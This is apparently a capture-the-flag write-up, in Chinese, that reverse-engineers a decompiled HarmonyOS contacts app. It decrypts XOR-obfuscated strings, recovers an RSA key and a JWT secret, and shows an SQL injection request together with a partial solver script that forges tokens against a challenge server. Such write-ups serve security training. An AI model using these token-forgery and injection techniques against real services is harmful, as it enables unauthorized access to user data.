    public Object #~@0=#UserList(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.__username = ObservedPropertySimplePU("", obj3, "username");
        r24 = [Object];
        r24[0] = createobjectwithbuffer(["uid", "f47ac10b-58cc-4372-a567-0e02b2c3d479"]);
        r24[1] = createobjectwithbuffer(["uid", "c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b"]);
        r24[2] = createobjectwithbuffer(["uid", "732390b8-ccb6-41de-a93b-94ea059fd263"]);
        r24[3] = createobjectwithbuffer(["uid", "f633ec24-cfe6-42ba-bcd8-ad2dfae6d547"]);
        r24[4] = createobjectwithbuffer(["uid", "eb8991c8-9b6f-4bc8-89dd-af3576e92bdb"]);
        r24[5] = createobjectwithbuffer(["uid", "db62356d-3b99-4764-b378-e46cb95df9e6"]);
        r24[6] = createobjectwithbuffer(["uid", "8f4610ee-ee87-4cca-ad92-6cac4fdbe722"]);
        r24[7] = createobjectwithbuffer(["uid", "1678d80e-fd4d-4de3-aae2-cb0077f10c21"]);
        obj3.userList = r24;
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    public Object #~@0>#UserItem(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1, Object arg2) {
        newlexenvwithname([3, "item", 0, "4newTarget", 1, "this", 2], 3);
        _lexenv_0_1_ = newTarget;
        _lexenv_0_2_ = this;
        _lexenv_0_0_ = arg0;
        if ((0 == arg2 ? 1 : 0) != 0) {
        }
        ldlexvar = _lexenv_0_2_;
        ldlexvar.observeComponentCreation2(#~@0>@1*#, Row);
        ldlexvar2 = _lexenv_0_2_;
        ldlexvar2.observeComponentCreation2(#~@0>@1*#^1, Image);
        ldlexvar3 = _lexenv_0_2_;
        ldlexvar3.observeComponentCreation2(#~@0>@1*#^2, Column);
        ldlexvar4 = _lexenv_0_2_;
        ldlexvar4.observeComponentCreation2(#~@0>@1*#^3, Text);
        Text.pop();
        Column.pop();
        Row.pop();
        return null;
    }

    public Object #~@0>#rerender(Object functionObject, Object newTarget, UserList this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@0>#username(Object functionObject, Object newTarget, UserList this) {
        obj = this.__username;
        return obj.get();
    }

    public Object #~@0>@2*@3*@4*#(Object functionObject, Object newTarget, UserList this) {
        return null;
    }

    public Object #~@0>@2*@3*@5*#(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        Column.create();
        obj = Column.padding;
        obj2 = createobjectwithbuffer(["left", 0, "right", 0]);
        obj3 = createobjectwithbuffer(["id", 16777294, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj3.params = [Object];
        obj2.left = obj3;
        obj4 = createobjectwithbuffer(["id", 16777294, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj4.params = [Object];
        obj2.right = obj4;
        obj(obj2);
        Column.onClick(#~@0>@2*@3*@5**#);
        return null;
    }

    public Object #~@0>#username^1(Object functionObject, Object newTarget, UserList this, Object arg0) {
        obj = this.__username;
        obj.set(arg0);
        return null;
    }

    public Object #~@0>@2*@3*@5**#(Object functionObject, Object newTarget, UserList this) {
        utils = import { default as utils } from "@normalized:N&&&entry/src/main/ets/common/Utils/utils&";
        utils.l1Lll1(_lexenv_0_1_.uid);
        return null;
    }

    /* JADX WARN: Type inference failed for: r16v24, types: [Object, java.lang.Class] */
    public Object #~@0>#initialRender(Object functionObject, Object newTarget, UserList this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@0>@2*#, Column);
        ldlexvar2 = _lexenv_0_1_;
        ldlexvar2.observeComponentCreation2(#~@0>@2*#^1, List);
        LazyForEach.create("1", _lexenv_0_1_, import { UserDataSource } from "@normalized:N&&&entry/src/main/ets/viewmodel/UserDataSource&"(_lexenv_0_1_.userList), #~@0>@2*#__lazyForEachItemGenFunction, #~@0>@2*#__lazyForEachItemIdFunc);
        LazyForEach.pop();
        List.pop();
        Column.pop();
        return null;
    }

    public Object #~@0>#updateStateVars(Object functionObject, Object newTarget, UserList this, Object arg0) {
        return null;
    }

    public Object #~@0>#aboutToBeDeleted(Object functionObject, Object newTarget, UserList this) {
        obj = this.__username;
        obj.aboutToBeDeleted();
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@0>@2*@3*#itemCreation2(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        ListItem.create(#~@0>@2*@3*@4*#, 0);
        return null;
    }

    public Object #~@0>@2*@3*#observedDeepRender(Object functionObject, Object newTarget, UserList this) {
        ldlexvar = _lexenv_1_1_;
        ldlexvar.observeComponentCreation2(_lexenv_0_0_, ListItem);
        ldlexvar2 = _lexenv_1_1_;
        ldlexvar2.observeComponentCreation2(#~@0>@2*@3*@5*#, Column);
        obj = _lexenv_1_1_.UserItem;
        obj.bind(_lexenv_1_1_)(_lexenv_0_1_, _lexenv_0_2_);
        Column.pop();
        ListItem.pop();
        return null;
    }

    public Object #~@0>#setInitiallyProvidedValue(Object functionObject, Object newTarget, UserList this, Object arg0) {
        if ((0 != arg0.username ? 1 : 0) != 0) {
            this.username = arg0.username;
        }
        if ((0 != arg0.userList ? 1 : 0) == 0) {
            return null;
        }
        this.userList = arg0.userList;
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r15v5, types: [int] */
    /* JADX WARN: Type inference failed for: r15v7, types: [Object, int] */
    public Object #~@0>@2*#__lazyForEachItemIdFunc(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        return JSON.stringify(arg0) + arg1;
    }

    public Object #~@0>@2*#__lazyForEachItemGenFunction(Object functionObject, Object newTarget, UserList this, Object arg0, Object arg1) {
        newlexenvwithname([3, "itemCreation2", 0, "item", 1, "index", 2], 3);
        _lexenv_0_2_ = arg1;
        _lexenv_0_1_ = arg0;
        _lexenv_0_0_ = #~@0>@2*@3*#itemCreation2;
        #~@0>@2*@3*#observedDeepRender();
        return null;
    }

    public Object #~@0>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, UserList this, Object arg0) {
        obj = this.__username;
        obj.purgeDependencyOnElmtId(arg0);
        return null;
    }
}

给出了设置的uid，引出utils

package p001entry/src/main/ets/common/Utils;

/* renamed from: &entry/src/main/ets/common/Utils/utils&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class utils {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r18v13, types: [int] */
    /* JADX WARN: Type inference failed for: r18v19, types: [int] */
    /* JADX WARN: Type inference failed for: r18v4, types: [Object, int] */
    public Object #~@0<@1*#(Object functionObject, Object newTarget, utils this, Object arg0, Object arg1) {
        ldobjbyvalue = _lexenv_0_0_[arg1 % _lexenv_0_0_.length];
        return String.fromCharCode(arg0.charCodeAt(0) ^ ldobjbyvalue.charCodeAt(0));
    }

    /* JADX WARN: Type inference failed for: r20v4, types: [Object, java.lang.Class] */
    public Object #~@0<@2*#(Object functionObject, Object newTarget, utils this, Object arg0) {
        newlexenvwithname([2, "plainText", 0, "reslove", 1], 2);
        _lexenv_0_1_ = arg0;
        newobjrange = import { default as util } from "@ohos:util".Base64Helper();
        obj = createobjectwithbuffer(["data", 0]);
        obj.data = newobjrange.decodeSync(_lexenv_1_0_);
        obj2 = createobjectwithbuffer(["data", 0]);
        buffer = import { default as buffer } from "@ohos:buffer";
        obj2.data = Uint8Array(buffer.from(_lexenv_1_1_, "utf-8").buffer);
        _lexenv_0_0_ = obj2;
        cryptoFramework = import { default as cryptoFramework } from "@ohos:security.cryptoFramework";
        obj3 = cryptoFramework.createAsyKeyGenerator;
        ldlexvar = _lexenv_2_0_;
        callthisN = obj3(ldlexvar.oo0Oo0("c`u\u0007\u0002\u0006\t"));
        callthisN.convertKey(obj, 0, #~@0<@2**#);
        return null;
    }

    public Object #~@0<@3*#(Object functionObject, Object newTarget, utils this, Object arg0) {
        if ((import { default as http } from "@ohos:net.http".ResponseCode.OK == arg0.responseCode ? 1 : 0) == 0) {
            return null;
        }
        ldlexvar = _lexenv_1_0_;
        JSON = import { default as JSON } from "@ohos:util.json";
        obj = JSON.parse;
        obj2 = arg0.result;
        callthisN = obj(obj2.toString());
        ldlexvar.uuuuu = ((0 != callthisN ? 1 : 0) == 0 || (0 != callthisN ? 1 : 0) == 0) ? null : callthisN["data"]["users"][0]["name"];
        console.log(_lexenv_1_0_.uuuuu);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    public Object #~@0<@4*#(Object functionObject, Object newTarget, utils this, Object arg0) {
        i = "{\"data\":\"" + arg0 + "\"}";
        ldlexvar = _lexenv_0_0_;
        obj = ldlexvar.request;
        ldlexvar2 = _lexenv_0_1_;
        obj2 = createobjectwithbuffer(["method", 0, "extraData", 0, "header", 0]);
        obj2.method = import { default as http } from "@ohos:net.http".RequestMethod.POST;
        obj2.extraData = i;
        obj3 = createobjectwithbuffer(["Authorization", 0, "X-Sign", 0, "Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"]);
        ldlexvar3 = _lexenv_1_0_;
        obj4 = ldlexvar3.o0OO00O;
        ldlexvar4 = _lexenv_0_2_;
        ldlexvar5 = _lexenv_1_0_;
        obj3.Authorization = obj4(ldlexvar4, ldlexvar5.oo0Oo0(_lexenv_1_0_.Secret));
        CryptoJS = import { default as CryptoJS } from "@normalized:N&&&@ohos/crypto-js/index&2.0.0";
        MD5 = CryptoJS.MD5(i);
        obj3.X-Sign = MD5.toString();
        obj2.header = obj3;
        callthisN = obj(ldlexvar2, obj2);
        callthisN.then(#~@0<@4**#);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    public Object #~@0<@2**#(Object functionObject, Object newTarget, utils this, Object arg0, Object arg1) {
        if (isfalse(arg0) == null) {
        }
        ldlexvar = _lexenv_2_0_;
        RrrrRRR = ldlexvar.RrrrRRR(arg1.pubKey, _lexenv_0_0_);
        RrrrRRR.then(#~@0<@2***#);
        return null;
    }

    public Object #~@0<@4**#(Object functionObject, Object newTarget, utils this, Object arg0) {
        obj;
        obj2;
        if ((import { default as http } from "@ohos:net.http".ResponseCode.OK == arg0.responseCode ? 1 : 0) == 0) {
            promptAction = import { default as promptAction } from "@ohos:promptAction";
            obj3 = promptAction.showToast;
            obj4 = createobjectwithbuffer(["message", 0]);
            obj5 = arg0.result;
            obj4.message = obj5.toString();
            obj3(obj4);
            return null;
        }
        obj6 = console.log;
        JSON = import { default as JSON } from "@ohos:util.json";
        obj7 = JSON.parse;
        obj8 = arg0.result;
        callthisN = obj7(obj8.toString());
        if ((0 != callthisN ? 1 : 0) == 0 || (0 != callthisN ? 1 : 0) == 0) {
            obj = null;
        } else {
            ldlexvar = _lexenv_1_0_;
            obj = callthisN[ldlexvar.oo0Oo0("W_UR")];
        }
        obj6(obj);
        JSON2 = import { default as JSON } from "@ohos:util.json";
        obj9 = JSON2.parse;
        obj10 = arg0.result;
        callthisN2 = obj9(obj10.toString());
        if ((0 != callthisN2 ? 1 : 0) == 0 || (0 != callthisN2 ? 1 : 0) == 0) {
            obj2 = null;
        } else {
            ldlexvar2 = _lexenv_1_0_;
            obj2 = callthisN2[ldlexvar2.oo0Oo0("W_UR")];
        }
        obj11 = obj2;
        promptAction2 = import { default as promptAction } from "@ohos:promptAction";
        obj12 = promptAction2.showToast;
        obj13 = createobjectwithbuffer(["message", 0]);
        obj13.message = obj11;
        obj12(obj13);
        return null;
    }

    public Object #~@0<@2***#(Object functionObject, Object newTarget, utils this, Object arg0) {
        _lexenv_0_1_(arg0);
        return null;
    }

    public Object #~@0=#utils(Object functionObject, Object newTarget, utils this) {
        return this;
    }

    public Object func_main_0(Object functionObject, Object newTarget, utils this) {
        newlexenvwithname = newlexenvwithname([1, "utils", 0], 1);
        try {
            obj = hole.#~@0=#utils(Object2, Object3, hole, ["oo0Oo0", "&entry/src/main/ets/common/Utils/utils&.#~@0<#oo0Oo0", 1, "RrrrRRR", "&entry/src/main/ets/common/Utils/utils&.#~@0<#RrrrRRR", 2, "rRrrrRR", "&entry/src/main/ets/common/Utils/utils&.#~@0<#rRrrrRR", 2, "o0O0OOoo", "&entry/src/main/ets/common/Utils/utils&.#~@0<#o0O0OOoo", 1, "l1Lll1", "&entry/src/main/ets/common/Utils/utils&.#~@0<#l1Lll1", 1, "o0OO00O", "&entry/src/main/ets/common/Utils/utils&.#~@0<#o0OO00O", 2, 0]);
            _lexenv_0_0_ = obj;
            obj2 = obj.prototype;
            obj.#~@0>#static_initializer();
            newlexenvwithname = obj;
        } catch (ExceptionI0 unused) {
            poplexenv();
            throw(newlexenvwithname);
        }
        poplexenv();
        _module_0_ = newlexenvwithname;
        return null;
    }

    /* JADX WARN: Type inference failed for: r16v14, types: [int] */
    /* JADX WARN: Type inference failed for: r16v15, types: [Object, int] */
    /* JADX WARN: Type inference failed for: r16v7, types: [Object, int] */
    public Object #~@0<#l1Lll1(Object functionObject, Object newTarget, utils this, Object arg0) {
        newlexenvwithname([5, "req", 0, "url2", 1, "uuid", 2, "4newTarget", 3, "this", 4], 5);
        _lexenv_0_3_ = newTarget;
        _lexenv_0_4_ = this;
        _lexenv_0_2_ = arg0;
        i = "http://" + global.ip;
        ldlexvar = _lexenv_1_0_;
        _lexenv_0_1_ = (i + ldlexvar.oo0Oo0("\u001eRD\\\u001dD\u0000\u001dTTGRYSU"));
        http = import { default as http } from "@ohos:net.http";
        _lexenv_0_0_ = http.createHttp();
        ldlexvar2 = _lexenv_1_0_;
        oo0Oo0 = ldlexvar2.oo0Oo0("|z}w{Xp|qVXE]Y[v\u000bD\u0001qudwtps|rre\rs\u007fx{qrT\u007fvscts\u0005ykF\u0004~a~J\u0001@\n\u0003YaD\u0001B\u0004K9\\DFUH\u001dyFDc[Fw\u0006\u0001guxsxaJ\u0007h\u0006]aGqGd[p[Dtd|\u0002\u0007\u0001dXYG}RPsAB~\u0005K@F|ZFYtW|\u007f?A\u0006~aG\u0006cN}dKV^XVDl\u0002j\u0002\u0005Cukxzzkkua\u0005d^\u001fRhP\u0004jkFZe\ruQwCUtYV~P~[DVVfc@@8y\u0006@G\u0000{Ea{{}ZeX\\xhCrYU~gaM~t\u0000\u0019^Fup\u007fdF\u0004q|`q\u001bS@tAA\u001cd\u0006\u001fzAB[\u007ftpeSz`P_8\n\bfAL\u000bykAt`Dl\u0007W\u0019\u007fDExr@y|Sf\u0003_HPd\u0005jf`[k_[Y\u001eY\u0003\u001aU\u000b|tg\u0005\u0003fAgiEDAw@vdsD;x\u001b\\|PrubUxe\u0002\u0005x\u001eVv~\u0000mrkzzww\u0003d\u007fXsBuur\u0001_zb]G\u0006\u0004\u000bu\u0003PvzJ~EfdDs|cE\u001eqp\u0000@>aE{usbpq");
        ldlexvar3 = _lexenv_1_0_;
        oo0Oo02 = ldlexvar3.oo0Oo0("J\u0011UVF[^\\\u0011\u000b\u0011SPFT]ST\u0013N");
        ldlexvar4 = _lexenv_1_0_;
        rRrrrRR = ldlexvar4.rRrrrRR(oo0Oo02, oo0Oo0);
        rRrrrRR.then(#~@0<@4*#);
        return "";
    }

    public Object #~@0<#oo0Oo0(Object functionObject, Object newTarget, utils this, Object arg0) {
        newlexenvwithname([3, "keyChars", 0, "4newTarget", 1, "this", 2], 3);
        _lexenv_0_1_ = newTarget;
        _lexenv_0_2_ = this;
        from = Array.from(arg0);
        _lexenv_0_0_ = Array.from("134522123");
        map = from.map(#~@0<@1*#);
        return map.join("");
    }

    /* JADX WARN: Type inference failed for: r20v16, types: [Object, java.lang.Class] */
    public Object #~@0<#RrrrRRR(Object functionObject, Object newTarget, utils this, Object arg0, Object arg1) {
        asyncfunctionenter = asyncfunctionenter();
        try {
            cryptoFramework = import { default as cryptoFramework } from "@ohos:security.cryptoFramework";
            obj = cryptoFramework.createCipher;
            ldlexvar = _lexenv_0_0_;
            callthisN = obj(ldlexvar.oo0Oo0("c`u\u0007\u0002\u0006\tNczpg\u0004"));
            newobjrange = import { default as util } from "@ohos:util".Base64Helper();
            suspendgenerator(asyncfunctionenter, asyncfunctionawaituncaught(asyncfunctionenter, callthisN.init(import { default as cryptoFramework } from "@ohos:security.cryptoFramework".CryptoMode.ENCRYPT_MODE, arg0, 0)));
            resumegenerator = resumegenerator(asyncfunctionenter);
            if ((1 == getresumemode(asyncfunctionenter) ? 1 : 0) != 0) {
                throw(resumegenerator);
            }
            suspendgenerator(asyncfunctionenter, asyncfunctionawaituncaught(asyncfunctionenter, callthisN.doFinal(arg1)));
            resumegenerator2 = resumegenerator(asyncfunctionenter);
            if ((1 == getresumemode(asyncfunctionenter) ? 1 : 0) != 0) {
                throw(resumegenerator2);
            }
            asyncfunctionenter = asyncfunctionresolve(newobjrange.encodeToStringSync(resumegenerator2.data), asyncfunctionenter);
            return asyncfunctionenter;
        } catch (ExceptionI0 unused) {
            return asyncfunctionreject(asyncfunctionenter, asyncfunctionenter);
        }
    }

    public Object #~@0<#o0OO00O(Object functionObject, Object newTarget, utils this, Object arg0, Object arg1) {
        jwt = import { default as jwt } from "@normalized:N&&&@ohos/jsonwebtoken/index&1.0.1";
        obj = jwt.sign;
        obj2 = createobjectwithbuffer(["sub", "1234567890", "uid", 0, "iat", 1516239022]);
        obj2.uid = arg0;
        return obj(obj2, arg1);
    }

    public Object #~@0<#rRrrrRR(Object functionObject, Object newTarget, utils this, Object arg0, Object arg1) {
        newlexenvwithname([4, "pk", 0, "message", 1, "4newTarget", 2, "this", 3], 4);
        _lexenv_0_2_ = newTarget;
        _lexenv_0_3_ = this;
        _lexenv_0_1_ = arg0;
        _lexenv_0_0_ = arg1;
        return Promise(#~@0<@2*#);
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r24v13, types: [int] */
    /* JADX WARN: Type inference failed for: r24v6, types: [Object, int] */
    public Object #~@0<#o0O0OOoo(Object functionObject, Object newTarget, utils this, Object arg0) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        i = "http://" + global.ip;
        ldlexvar = _lexenv_1_0_;
        oo0Oo0 = i + ldlexvar.oo0Oo0("\u001eRD\\\u001dD\u0000\u001dP^]@TQFB\rFXW\t") + arg0;
        http = import { default as http } from "@ohos:net.http";
        createHttp = http.createHttp();
        obj = createHttp.request;
        obj2 = createobjectwithbuffer(["method", 0, "header", 0]);
        obj2.method = import { default as http } from "@ohos:net.http".RequestMethod.GET;
        obj3 = createobjectwithbuffer(["Authorization", 0]);
        ldlexvar2 = _lexenv_1_0_;
        obj4 = ldlexvar2.o0OO00O;
        ldlexvar3 = _lexenv_1_0_;
        obj3.Authorization = obj4(arg0, ldlexvar3.oo0Oo0(_lexenv_1_0_.Secret));
        obj2.header = obj3;
        callthisN = obj(oo0Oo0, obj2);
        callthisN.then(#~@0<@3*#);
        return "";
    }

    public Object #~@0>#static_initializer(Object functionObject, Object newTarget, utils this) {
        this.Secret = "FpBz\u0001ecH\n\u001bEzx\u0017@|SrAXQGkloXz\u0007ElXZ";
        this.uuuuu = "";
        return null;
    }
}

得出几段密文信息，写出解密脚本

def decrypt_path(encrypted_str, key):
    decrypted = []
    key_repeated = (key * (len(encrypted_str) // len(key) + 1))[:len(encrypted_str)]
    for i, char in enumerate(encrypted_str):
        dec_char = ord(char) ^ ord(key_repeated[i])
        decrypted.append(chr(dec_char))
    return ''.join(decrypted)

encrypted = "\u001eRD\\\u001dD\u0000\u001dTTGRYSU"
key = "134522123"
path = decrypt_path(encrypted, key)
print(path)

\u001eRD\\\u001dD\u0000\u001dP^]@TQFB\rFXW\t
/api/v1/contacts?uid=


\u001eRD\\\u001dD\u0000\u001dTTGRYSU
/api/v1/getflag


J\u0011UVF[^\\\u0011\u000b\u0011SPFT]ST\u0013N
{"action":"getflag"}

c`u\u0007\u0002\u0006\tNczpg\u0004
RSA2048|PKCS1

W_UR
flag

并且也给出了RSA公钥

import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.serialization import load_der_public_key


def decrypt_string(encrypted_str, key="134522123"):
    """解密字符串 - 模拟utils.oo0Oo0方法"""
    key_chars = list(key)
    result = ""

    for i, char in enumerate(encrypted_str):
        key_char = key_chars[i % len(key_chars)]
        decrypted_char = chr(ord(char) ^ ord(key_char))
        result += decrypted_char

    return result


def extract_rsa_public_key():
    """提取和解析RSA公钥"""
    # 🎯 从utils类中提取的长加密字符串
    encrypted_key = """|z}w{Xp|qVXE]Y[v\x0bD\x01qudwtps|rre\rs\x7fx{qrT\x7fvscts\x05ykF\x04~a~J\x01@\n\x03YaD\x01B\x04K9\\DFUH\x1dyFDc[Fw\x06\x01guxsxaJ\x07h\x06]aGqGd[p[Dtd|\x02\x07\x01dXYG}RPsAB~\x05K@F|ZFYtW|\x7f?A\x06~aG\x06cN}dKV^XVDl\x02j\x02\x05Cukxzzkkua\x05d^\x1fRhP\x04jkFZe\ruQwCUtYV~P~[DVVfc@@8y\x06@G\x00{Ea{{}ZeX\\xhCrYU~gaM~t\x00\x19^Fup\x7fdF\x04q|`q\x1bS@tAA\x1cd\x06\x1fzAB[\x7ftpeSz`P_8\n\x08fAL\x0bykAt`Dl\x07W\x19\x7fDExr@y|Sf\x03_HPd\x05jf`[k_[Y\x1eY\x03\x1aU\x0b|tg\x05\x03fAgiEDAw@vdsD;x\x1b\\|PrubUxe\x02\x05x\x1eVv~\x00mrkzzww\x03d\x7fXsBuur\x01_zb]G\x06\x04\x0bu\x03PvzJ~EfdDs|cE\x1eqp\x00@>aE{usbpq"""

    print("🔍 开始解密RSA公钥...")
    print(f"📝 加密字符串长度: {len(encrypted_key)}")

    # 步骤1: 使用XOR解密
    decrypted_key = decrypt_string(encrypted_key)
    print(f"✅ XOR解密完成，长度: {len(decrypted_key)}")
    print(f"📄 解密结果预览: {decrypted_key[:100]}...")

    try:
        # 步骤2: Base64解码
        public_key_der = base64.b64decode(decrypted_key)
        print(f"✅ Base64解码完成，二进制长度: {len(public_key_der)}")

        # 步骤3: 解析DER格式的公钥
        public_key = load_der_public_key(public_key_der)
        print("✅ RSA公钥解析成功！")

        # 输出公钥信息
        key_size = public_key.key_size
        public_numbers = public_key.public_numbers()

        print("\n📊 RSA公钥信息:")
        print(f"🔑 密钥长度: {key_size} bits")
        print(f"🔢 公钥指数 (e): {public_numbers.e}")
        print(f"🔢 模数 (n): {hex(public_numbers.n)[:50]}...")

        # 转换为PEM格式便于使用
        pem_key = public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo
        )

        print("\n📋 PEM格式公钥:")
        print(pem_key.decode())

        return {
            "key_object": public_key,
            "pem": pem_key.decode(),
            "der": public_key_der,
            "key_size": key_size,
            "exponent": public_numbers.e,
            "modulus": public_numbers.n
        }

    except Exception as e:
        print(f"❌ 解析公钥失败: {str(e)}")
        print(f"🔍 解密后的字符串: {repr(decrypted_key)}")
        return None


def test_rsa_encryption(public_key_info):
    """测试RSA加密功能"""
    if not public_key_info:
        return

    try:
        from cryptography.hazmat.primitives import hashes
        from cryptography.hazmat.primitives.asymmetric import padding

        # 测试加密 {"action":"getflag"}
        message = '{"action":"getflag"}'.encode()
        public_key = public_key_info["key_object"]

        encrypted = public_key.encrypt(
            message,
            padding.PKCS1v15()
        )

        encrypted_b64 = base64.b64encode(encrypted).decode()

        print("\n🧪 RSA加密测试:")
        print(f"📝 原始消息: {message.decode()}")
        print(f"🔐 加密结果(Base64): {encrypted_b64[:100]}...")
        print(f"📏 加密长度: {len(encrypted_b64)}")

        return encrypted_b64

    except Exception as e:
        print(f"❌ RSA加密测试失败: {str(e)}")
        return None


if __name__ == "__main__":
    print("🚀 RSA公钥提取工具")
    print("=" * 60)

    # 提取公钥
    key_info = extract_rsa_public_key()

    if key_info:
        # 测试加密
        encrypted_msg = test_rsa_encryption(key_info)

        print("\n💡 使用建议:")
        print("1. 保存PEM格式的公钥到文件")
        print("2. 使用该公钥加密 '{\"action\":\"getflag\"}' 消息")
        print("3. 将加密结果Base64编码后作为请求体发送")
    else:
        print("\n❌ 公钥提取失败，可能需要调整解密逻辑")

得到

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----

f47ac10b-58cc-4372-a567-0e02b2c3d479
c9c1e5b2-5f5b-4c5b-8f5b-5f5b5f5b5f5b
732390b8-ccb6-41de-a93b-94ea059fd263
f633ec24-cfe6-42ba-bcd8-ad2dfae6d547
eb8991c8-9b6f-4bc8-89dd-af3576e92bdb
db62356d-3b99-4764-b378-e46cb95df9e6
8f4610ee-ee87-4cca-ad92-6cac4fdbe722
1678d80e-fd4d-4de3-aae2-cb0077f10c21

经过长久测试发现sql注入

GET /api/v1/contacts?uid="!=" HTTP/1.1
Host: 47.96.162.115:8080
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidWlkIjoiOGY0NjEwZWUtZWU4Ny00Y2NhLWFkOTItNmNhYzRmZGJlNzIyIiwiaWF0IjoxNzQ5MzY0ODA4fQ.8hvBEM4jvKqlMXmVoYtechEGFid1a_S6otobnZ5sCvk

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import jwt
import hashlib
import json
import base64
import requests
import time
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization


def get_flag():
    # 配置参数
    SERVER_IP = "web-722d04cf71.challenge.xctf.org.cn"
    TARGET_UID = "9d5ec98c-5848-4450-9e58-9f97b6b3b7bc"
    SECRET = "wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh"

    # RSA公钥
    RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----"""

    print("🚀 开始获取Flag...")
    print("=" * 60)
    print(f"🎯 目标服务器: {SERVER_IP}")
    print(f"🔑 使用UUID: {TARGET_UID}")

    # 1. 加载RSA公钥
    try:
        public_key = serialization.load_pem_public_key(RSA_PUBLIC_KEY.encode())
        print("✅ RSA公钥加载成功")
    except Exception as e:
        print(f"❌ RSA公钥加载失败: {e}")
        return None

    # 2. 准备要加密的消息
    message = '{"action":"getflag"}'
    print(f"📝 准备加密消息: {message}")

    # 3. RSA加密消息
    try:
        encrypted_data = public_key.encrypt(
            message.encode(),
            padding.PKCS1v15()
        )
        encrypted_b64 = base64.b64encode(encrypted_data).decode()
        print(f"🔐 RSA加密完成，Base64长度: {len(encrypted_b64)}")
    except Exception as e:
        print(f"❌ RSA加密失败: {e}")
        return None

    # 4. 构造请求体
    request_body = {
        "data": encrypted_b64,
    }
    request_json = json.dumps(request_body)

    # 5. 生成MD5签名
    md5_sign = hashlib.md5(request_json.encode()).hexdigest()
    print(f"🔑 MD5签名: {md5_sign}")

    # 6. 生成JWT token
    try:
        jwt_payload = {
            "sub": "1234567890",
            "uid": TARGET_UID,
            "iat": int(time.time())
        }
        jwt_token = jwt.encode(jwt_payload, SECRET, algorithm='HS256')
        print(f"🎫 JWT Token生成成功")
        print(f"📋 Payload: {jwt_payload}")
    except Exception as e:
        print(f"❌ JWT生成失败: {e}")
        return None

    # 7. 先尝试获取联系人信息（可选，用于验证token）
    try:
        print(f"\n📞 尝试获取联系人信息...")
